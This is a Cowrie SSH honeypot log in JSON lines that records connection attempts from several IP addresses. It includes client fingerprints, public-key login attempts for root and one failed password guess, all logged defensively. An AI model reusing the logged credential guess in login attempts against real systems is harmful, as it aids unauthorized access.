{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e9:c7:32:49:fa:cd:1e:9f:45:4d:9a:ea:38:4d:a0:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCxRnNDito9VhkyQPxqLFzHjrVuCgdoCyu+25dTd+vAIOuupvSFvNYrdHuPMKo4azbGjr1yIcLq0ZSjcPZPrExNB1d/64ghU8tHe16L+y981l2Jnou4z5ZscayyeehCzzmfpbGflv6V/9vc1MVG2utQMR93TTtTQ//ygR5w0s1r9lAk1K9nZvMSX675CxekqzXIJbRNXzArbcmMePpts8NqOGVbfbsBA5e7jo6KAKE2NFXEapXAyjbvOcPud0QdYvq4wvFLHB3NUgjMECuUx8lxnFCCpC0112gCP+1zXP6CjckWUrRH7JZhxRLsBxfVl5cSMG38UDj0HFZ6CV1p7cLfNZk3xGKq+p0wX0+nyeoVBBR56kywcFVZZAkDqUhkDY+9C912InG8VjkqfaweYXN/OZVNYh2QXoSZNY2KWnAMl2u7++6akUCP0dBSHaHljSbbk11kdDdGN2eMDVCFM9Ypjd/31i/V5vNeIKrUA9CxFr5CIWnSLxCllHSFtQeZulln3Y6ylMr39M3UrXfNzqt7TDz2tTVvJY1zWDiOJI/kdpt1wvGTP522FsJKuCiV9oNGoxpIaW68VZpN8h8jp3TUlE56dWqrwjkiO1+6RqEPC1rVMJslfpjB283VOGGVGneNcqm+PJDR+5Vd2v8kDjhONmO7JnQr4CmPm6FrI3xbKQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e9:c7:32:49:fa:cd:1e:9f:45:4d:9a:ea:38:4d:a0:d9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:00:26.220397Z","src_ip":"198.204.253.106","session":"26fa39db7e2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e9:c7:32:49:fa:cd:1e:9f:45:4d:9a:ea:38:4d:a0:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCxRnNDito9VhkyQPxqLFzHjrVuCgdoCyu+25dTd+vAIOuupvSFvNYrdHuPMKo4azbGjr1yIcLq0ZSjcPZPrExNB1d/64ghU8tHe16L+y981l2Jnou4z5ZscayyeehCzzmfpbGflv6V/9vc1MVG2utQMR93TTtTQ//ygR5w0s1r9lAk1K9nZvMSX675CxekqzXIJbRNXzArbcmMePpts8NqOGVbfbsBA5e7jo6KAKE2NFXEapXAyjbvOcPud0QdYvq4wvFLHB3NUgjMECuUx8lxnFCCpC0112gCP+1zXP6CjckWUrRH7JZhxRLsBxfVl5cSMG38UDj0HFZ6CV1p7cLfNZk3xGKq+p0wX0+nyeoVBBR56kywcFVZZAkDqUhkDY+9C912InG8VjkqfaweYXN/OZVNYh2QXoSZNY2KWnAMl2u7++6akUCP0dBSHaHljSbbk11kdDdGN2eMDVCFM9Ypjd/31i/V5vNeIKrUA9CxFr5CIWnSLxCllHSFtQeZulln3Y6ylMr39M3UrXfNzqt7TDz2tTVvJY1zWDiOJI/kdpt1wvGTP522FsJKuCiV9oNGoxpIaW68VZpN8h8jp3TUlE56dWqrwjkiO1+6RqEPC1rVMJslfpjB283VOGGVGneNcqm+PJDR+5Vd2v8kDjhONmO7JnQr4CmPm6FrI3xbKQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:00:26.228360Z","src_ip":"198.204.253.106","session":"26fa39db7e2e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"64:4a:94:79:42:4c:e6:a1:56:98:02:bd:22:f8:e7:5c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDUTcitI3oC6QP5gvwl65NfrGZhlhWs8c0VAKiKseY70q8CP70qTcB+0l680FPptprNuyjHlUj5+qnpsQemTLZy7XCMlVDauezQJ4Ac7/cSzZKw2PIbbJ/fBUtMOxX2T6ObjVYF4dzdf++xMlRHWWlFtCfFFtBf76twyfDvKTYErutXZHOw5SrARhKCr5hSFg5ymGKhyzKB3hvK63rDHbiYI8/E1IQ7XtYiG7tlg6qO1jd8VvmSLVl6qDWzzaZFmD/WBiA/8zYjTN/VBwr/fDeDAIC2cXuEM6/kZyHmwQO34xcL7FP5yrR+sDzLdwXqDntjBVaYgvA9x84la0ai0i4euqLrz1XhjZonb+8BFuD8BRm8bl+4n9GMQrAiMUOao8OK8foq6r83fd0Bq03nN7IZqbc0ysARUTmZZ8wEJAB9bvT+z1i76M5Vh1zOk/PM2KTgo0ztwkPm63lFLMtP6a6k2IX5XIkyuYjd95pVpiUQTQp4XwkCuWmr97Ss9e033Da9BYMM8RcAXqlNteLRKrw0AWttpzQwMRbBSS9CsS0pggb7ZmTK36TSetysgrBy91dqHePg/v58NK6No5jugvprOB9Q35jQq6bSjMqCH34W4I0OYn0mBIN2VrlGiu/gVyzo4ZSlQbqFQGgizQFLQqw8cdmMnC62AovOkelDxQ5Uaw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 64:4a:94:79:42:4c:e6:a1:56:98:02:bd:22:f8:e7:5c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:00:26.265031Z","src_ip":"198.204.253.106","session":"26fa39db7e2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"64:4a:94:79:42:4c:e6:a1:56:98:02:bd:22:f8:e7:5c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDUTcitI3oC6QP5gvwl65NfrGZhlhWs8c0VAKiKseY70q8CP70qTcB+0l680FPptprNuyjHlUj5+qnpsQemTLZy7XCMlVDauezQJ4Ac7/cSzZKw2PIbbJ/fBUtMOxX2T6ObjVYF4dzdf++xMlRHWWlFtCfFFtBf76twyfDvKTYErutXZHOw5SrARhKCr5hSFg5ymGKhyzKB3hvK63rDHbiYI8/E1IQ7XtYiG7tlg6qO1jd8VvmSLVl6qDWzzaZFmD/WBiA/8zYjTN/VBwr/fDeDAIC2cXuEM6/kZyHmwQO34xcL7FP5yrR+sDzLdwXqDntjBVaYgvA9x84la0ai0i4euqLrz1XhjZonb+8BFuD8BRm8bl+4n9GMQrAiMUOao8OK8foq6r83fd0Bq03nN7IZqbc0ysARUTmZZ8wEJAB9bvT+z1i76M5Vh1zOk/PM2KTgo0ztwkPm63lFLMtP6a6k2IX5XIkyuYjd95pVpiUQTQp4XwkCuWmr97Ss9e033Da9BYMM8RcAXqlNteLRKrw0AWttpzQwMRbBSS9CsS0pggb7ZmTK36TSetysgrBy91dqHePg/v58NK6No5jugvprOB9Q35jQq6bSjMqCH34W4I0OYn0mBIN2VrlGiu/gVyzo4ZSlQbqFQGgizQFLQqw8cdmMnC62AovOkelDxQ5Uaw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:00:26.270131Z","src_ip":"198.204.253.106","session":"26fa39db7e2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:00:26.308579Z","src_ip":"198.204.253.106","session":"26fa39db7e2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.193.81.23","src_port":45492,"dst_ip":"10.17.0.5","dst_port":22,"session":"73c7b875deb9","protocol":"ssh","message":"New connection: 124.193.81.23:45492 (10.17.0.5:22) [session: 73c7b875deb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:00:52.262542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:00:52.267289Z","src_ip":"124.193.81.23","session":"73c7b875deb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:00:52.522600Z","src_ip":"124.193.81.23","session":"73c7b875deb9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"5tgbnhy67ujm","message":"login attempt [root/5tgbnhy67ujm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:00:53.575610Z","src_ip":"124.193.81.23","session":"73c7b875deb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:00:54.833433Z","src_ip":"124.193.81.23","session":"73c7b875deb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.68.4.170","src_port":34340,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0a67c5377c1","protocol":"ssh","message":"New connection: 138.68.4.170:34340 (10.17.0.5:22) [session: f0a67c5377c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:01:19.263454Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:01:19.268033Z","src_ip":"138.68.4.170","session":"f0a67c5377c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:01:19.340584Z","src_ip":"138.68.4.170","session":"f0a67c5377c1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f6:9c:cb:77:e3:ff:2a:11:01:f4:3b:b8:d6:f7:d1:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDirRWPCUfV092aKz0dMZGU+duDg3YsyAb/LJacKxi/VNMdukAV/8dPE73uSzfZKM828drQE51WrlvT9tx8ktjSsII++NQeMSxQD6bPk7fkFuniKj4qXyzAZYgcprXIRpTlUu7g2Cx7tVNBIk51IzKS0WnPXZDBOJO/RES9BgMM4RVM9I46XrUNkR52oK21uX0LB8cOklGOtn9AkJVpTCmkOD9O3ypp26tKCwm/B06yRg8RUX8dJZiLxo8xwwMt9PEFR1kZqF26iWMOdGiIgyyvxVqoD913ed+pwSIavKlNatgq233RdkhlsRgGgQnrTHgXdrUhL+SRyQStR0AJl3Cv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f6:9c:cb:77:e3:ff:2a:11:01:f4:3b:b8:d6:f7:d1:07","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:01:19.680551Z","src_ip":"138.68.4.170","session":"f0a67c5377c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f6:9c:cb:77:e3:ff:2a:11:01:f4:3b:b8:d6:f7:d1:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDirRWPCUfV092aKz0dMZGU+duDg3YsyAb/LJacKxi/VNMdukAV/8dPE73uSzfZKM828drQE51WrlvT9tx8ktjSsII++NQeMSxQD6bPk7fkFuniKj4qXyzAZYgcprXIRpTlUu7g2Cx7tVNBIk51IzKS0WnPXZDBOJO/RES9BgMM4RVM9I46XrUNkR52oK21uX0LB8cOklGOtn9AkJVpTCmkOD9O3ypp26tKCwm/B06yRg8RUX8dJZiLxo8xwwMt9PEFR1kZqF26iWMOdGiIgyyvxVqoD913ed+pwSIavKlNatgq233RdkhlsRgGgQnrTHgXdrUhL+SRyQStR0AJl3Cv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:01:19.684560Z","src_ip":"138.68.4.170","session":"f0a67c5377c1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e7:5a:0d:e2:b3:5b:4a:cb:d1:cc:a1:ee:0c:7d:87:08","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC8Eai8jo8OOR8UrD2CqY7OJYMytHNeYHTi8n0XYMKhUL693dk0ZM0qRsNVinMZWGsEHUdO12R+bfw9MZbiAD8XldU0Z1B9hSg+CchaCnf/H8WzBPKf4PtjzVlUYik8gRIVzAyzPdVeBlP6jaoxhDKBvQu+JCnEGjTl89Uzo6PKsYqVy4dNXh/bICuKOWFp//tLsVEuzR2hFdrH5Y20I7+9mQN98xDcNqZ8QuxyOI1k1VNzJ6ahYhe/SckTIZZbvHbFzsWBAX2D99GHvr+WJlznIuznnhp9y2NlPXrWxDO7ebIOnOPNE0qXj1kRCOtsq5o3lWN94xfD2j84gvXDV4M6Zu63fRP4f7RwmEtyIYrTIZ2KLFVX2q6ydEr7uP0evhc35IqVwkRqn1UH5e1SyVOSxz0AwroYJ5Id23B7J9kiw0bAVhjjnt7AE+/0szMvsf8ucolfhmPA+OHKZXCAogaASnGD3+nF2CORfmXb09SiTwlWB7XBNmXOOw+LJqZGHkwBgNvznQp6ptUjClWVb9FWFXoob0hM24oEBxmnpSUfR0zLK/YdgJETC/9CFbFaEMJzVuYUM8LA/oYHEaGXyON4PSNLOaXEs4CHRBiZhDkRUAei53RIjeURUb5eg2iMpDOq9EnbovVJ7hKxG/6vxzUk30pMsmVQsoP3eBY1ApL/Mw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e7:5a:0d:e2:b3:5b:4a:cb:d1:cc:a1:ee:0c:7d:87:08","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:01:19.760276Z","src_ip":"138.68.4.170","session":"f0a67c5377c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e7:5a:0d:e2:b3:5b:4a:cb:d1:cc:a1:ee:0c:7d:87:08","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC8Eai8jo8OOR8UrD2CqY7OJYMytHNeYHTi8n0XYMKhUL693dk0ZM0qRsNVinMZWGsEHUdO12R+bfw9MZbiAD8XldU0Z1B9hSg+CchaCnf/H8WzBPKf4PtjzVlUYik8gRIVzAyzPdVeBlP6jaoxhDKBvQu+JCnEGjTl89Uzo6PKsYqVy4dNXh/bICuKOWFp//tLsVEuzR2hFdrH5Y20I7+9mQN98xDcNqZ8QuxyOI1k1VNzJ6ahYhe/SckTIZZbvHbFzsWBAX2D99GHvr+WJlznIuznnhp9y2NlPXrWxDO7ebIOnOPNE0qXj1kRCOtsq5o3lWN94xfD2j84gvXDV4M6Zu63fRP4f7RwmEtyIYrTIZ2KLFVX2q6ydEr7uP0evhc35IqVwkRqn1UH5e1SyVOSxz0AwroYJ5Id23B7J9kiw0bAVhjjnt7AE+/0szMvsf8ucolfhmPA+OHKZXCAogaASnGD3+nF2CORfmXb09SiTwlWB7XBNmXOOw+LJqZGHkwBgNvznQp6ptUjClWVb9FWFXoob0hM24oEBxmnpSUfR0zLK/YdgJETC/9CFbFaEMJzVuYUM8LA/oYHEaGXyON4PSNLOaXEs4CHRBiZhDkRUAei53RIjeURUb5eg2iMpDOq9EnbovVJ7hKxG/6vxzUk30pMsmVQsoP3eBY1ApL/Mw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:01:19.763819Z","src_ip":"138.68.4.170","session":"f0a67c5377c1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8c:88:07:87:82:b5:b4:cd:e6:01:8e:1b:ac:6c:af:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDibJwvytIp3bq3PkdafsAHVKysqA9UhP0qsDb2ECBEBGn0Zrwg20COVt6F2cbJX8H+UG48lTCWzaZCSU0g/KGf5ZwBDNBPQMMtbSEYwKveU9oOqtIaitQVqBadpAm8JkNFOiPTegM3ZKj6COPFBiHjocLsfMZHcMLtl5kf7RStFw7LrnqDS/b7oXAWg4qg3l0SqsXxX3JupQgUX5NKL7PsNnI2KNyDELeyQSDAkYE6JZee0+ap05wCqeu4kvX3zmPyjLhdDYs/JpeaTfnH/RiStIM/gJPdQSU7MeJnmvwXdN+MLfkDALPAV4hdcstBM7wu/VJrNVPd3wyeTolPTIH2rFwnY8850FQqyeHOZ9QhjrXpj0OmUVC+Qsa+ZnjswwqupqFlUl8bhSj2z82pvm4NYUBwOLrJWSa31B41Sg2+BEjojU4O963fcSsTUw4fB8lkFEWIURfOsF5X/TLYG7HqGhU8zcLVZsy9kFOdIroXM1gWHIdbMwHvkO9XPIdtpEXLRxF1lYHMIy7uJWn4XW7/fBe9aDbVV2TCYzrOw98Nj6bq/4E9m+I6CZ2viKtsGhm3ItQq1wvrkggMEsfR6Ze42H28G3jfEWXM7aSgCAmCm3FIP8eqyIhybZbmQfFeZ9VKfajIdjjFh/nRjW6UPgjNlGNY+qrm7iza6r4DSQgLVw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8c:88:07:87:82:b5:b4:cd:e6:01:8e:1b:ac:6c:af:21","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:01:19.837683Z","src_ip":"138.68.4.170","session":"f0a67c5377c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8c:88:07:87:82:b5:b4:cd:e6:01:8e:1b:ac:6c:af:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDibJwvytIp3bq3PkdafsAHVKysqA9UhP0qsDb2ECBEBGn0Zrwg20COVt6F2cbJX8H+UG48lTCWzaZCSU0g/KGf5ZwBDNBPQMMtbSEYwKveU9oOqtIaitQVqBadpAm8JkNFOiPTegM3ZKj6COPFBiHjocLsfMZHcMLtl5kf7RStFw7LrnqDS/b7oXAWg4qg3l0SqsXxX3JupQgUX5NKL7PsNnI2KNyDELeyQSDAkYE6JZee0+ap05wCqeu4kvX3zmPyjLhdDYs/JpeaTfnH/RiStIM/gJPdQSU7MeJnmvwXdN+MLfkDALPAV4hdcstBM7wu/VJrNVPd3wyeTolPTIH2rFwnY8850FQqyeHOZ9QhjrXpj0OmUVC+Qsa+ZnjswwqupqFlUl8bhSj2z82pvm4NYUBwOLrJWSa31B41Sg2+BEjojU4O963fcSsTUw4fB8lkFEWIURfOsF5X/TLYG7HqGhU8zcLVZsy9kFOdIroXM1gWHIdbMwHvkO9XPIdtpEXLRxF1lYHMIy7uJWn4XW7/fBe9aDbVV2TCYzrOw98Nj6bq/4E9m+I6CZ2viKtsGhm3ItQq1wvrkggMEsfR6Ze42H28G3jfEWXM7aSgCAmCm3FIP8eqyIhybZbmQfFeZ9VKfajIdjjFh/nRjW6UPgjNlGNY+qrm7iza6r4DSQgLVw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:01:19.841988Z","src_ip":"138.68.4.170","session":"f0a67c5377c1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"43:28:b1:cb:cc:d3:cd:cc:1a:48:f3:a5:ad:15:ce:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC7292nNsGpoCxB5pm4BWaFPaLzUbf6zzxUi8Qhwbei23FFRj3Yi/MXy36biPEPrw6VGlJTXiEiUnS5ZQMDF1BXPLxCBV9tbmtc9L7RNJuR1PfZMzWUehdFga2iyr7M9oSF9CjPCaTxU1FKXj+WK6OW/Uf5FPEHNnYv/wL23NOgLIL6bGv3wfwg5n0Ak4WqMdC6WOndHKC3lkB2wLdbaEzKlBAmsK7tbCZgqGmk4/PfgAPxRlvvvuEsvWyhVV7g0pEJhbFhU7rKdvqeXevxIykRCy1sdSi1w1LMc0UW6ScHyxioIzOhUhyuqmhlW/lZQ5b8K+Yd29ylb3Ooo5/HMbJhNPxWZAuxaXyxS8FvPsS3ZPjA+3KFqxFdiLwwUOUsqdD0tvyGyCLKCkIC1O5WfA8HQTBmI9iYGe8n0VNRQIJAqKUFIbOa+93EcqwSgwJo8BsicPJ6ANDmJ9PTG7ldr4e+XyoDGekiMbTRtAJ8FNvIupcFyeNLyiPHNVb8zjmA8IyQlNxzz/5bOLGM3MWNrpnJmgUuINyjEBxxP0J+CtrxUFdoLRKLUVT+9efgPw8uubQ1y3c8zHBW2Po7eVtTveR0sjTAN9AMntbS+DQeNCHaXMwcwDvJEnzoxYHX2lK9l8xWEDPK85Nvvuuoa2mjKcYhfp9+dKS1x+43eOd67ofBjw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 43:28:b1:cb:cc:d3:cd:cc:1a:48:f3:a5:ad:15:ce:26","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:01:19.916537Z","src_ip":"138.68.4.170","session":"f0a67c5377c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"43:28:b1:cb:cc:d3:cd:cc:1a:48:f3:a5:ad:15:ce:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC7292nNsGpoCxB5pm4BWaFPaLzUbf6zzxUi8Qhwbei23FFRj3Yi/MXy36biPEPrw6VGlJTXiEiUnS5ZQMDF1BXPLxCBV9tbmtc9L7RNJuR1PfZMzWUehdFga2iyr7M9oSF9CjPCaTxU1FKXj+WK6OW/Uf5FPEHNnYv/wL23NOgLIL6bGv3wfwg5n0Ak4WqMdC6WOndHKC3lkB2wLdbaEzKlBAmsK7tbCZgqGmk4/PfgAPxRlvvvuEsvWyhVV7g0pEJhbFhU7rKdvqeXevxIykRCy1sdSi1w1LMc0UW6ScHyxioIzOhUhyuqmhlW/lZQ5b8K+Yd29ylb3Ooo5/HMbJhNPxWZAuxaXyxS8FvPsS3ZPjA+3KFqxFdiLwwUOUsqdD0tvyGyCLKCkIC1O5WfA8HQTBmI9iYGe8n0VNRQIJAqKUFIbOa+93EcqwSgwJo8BsicPJ6ANDmJ9PTG7ldr4e+XyoDGekiMbTRtAJ8FNvIupcFyeNLyiPHNVb8zjmA8IyQlNxzz/5bOLGM3MWNrpnJmgUuINyjEBxxP0J+CtrxUFdoLRKLUVT+9efgPw8uubQ1y3c8zHBW2Po7eVtTveR0sjTAN9AMntbS+DQeNCHaXMwcwDvJEnzoxYHX2lK9l8xWEDPK85Nvvuuoa2mjKcYhfp9+dKS1x+43eOd67ofBjw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:01:19.920306Z","src_ip":"138.68.4.170","session":"f0a67c5377c1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"33:f4:e3:65:4c:5b:93:b9:65:dd:51:d7:7e:c6:96:a0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdniziyOIwaBJ0HHBa60UTu6gTrt8mJ7aSGhLi11Lv+wbLkF4REohndK/I6olYpClkP0N7G68Ws1bLHFCnDQPn10SMIwNKaTVXBVQri33IFqlEKBF5dSl5Nk0QNO7+LiStsWXCf6hnxyfBs3ydIsL8c8oltmd6BRrLGxTp9aThfK3qUW7eikqbByO1yDh58+PySQ25x0nsGSTmuholI3Jo4ozR2Z/2WGEoECGT/ZNP+bcxDmcjrCIKmVlQomEf+Yth6gFB0WGNupv9Q6krsD61TA0Zz1sWmlS/mIDACTaol0MgAhTPRy+cNnZCbqI9jFXOvqdmP3RSL6FiKyiMbU/p","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 33:f4:e3:65:4c:5b:93:b9:65:dd:51:d7:7e:c6:96:a0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:01:19.993190Z","src_ip":"138.68.4.170","session":"f0a67c5377c1","protocol":"ssh"}
